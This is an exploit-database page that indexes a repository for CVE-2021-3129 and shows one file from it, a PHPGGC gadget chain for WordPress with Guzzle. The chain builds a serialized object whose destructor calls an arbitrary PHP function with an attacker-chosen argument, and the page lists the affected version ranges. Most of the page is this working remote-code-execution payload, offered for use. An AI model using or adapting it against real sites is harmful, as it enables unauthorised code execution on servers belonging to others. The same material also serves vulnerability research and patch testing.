Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/WordPress/Guzzle/RCE/2/chain.php
PHP · 730 bytes<?php
namespace GadgetChain\WordPress\Guzzle;
class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '4.0.0 <= 6.4.1+ & WP < 5.5.2';
public static $vector = '__destruct';
public static $author = 'Kevinlpd';
public static $information = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
$g = new \GuzzleHttp\Cookie\SetCookie(
new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function)
);
return new \GuzzleHttp\Cookie\FileCookieJar($g);
}
}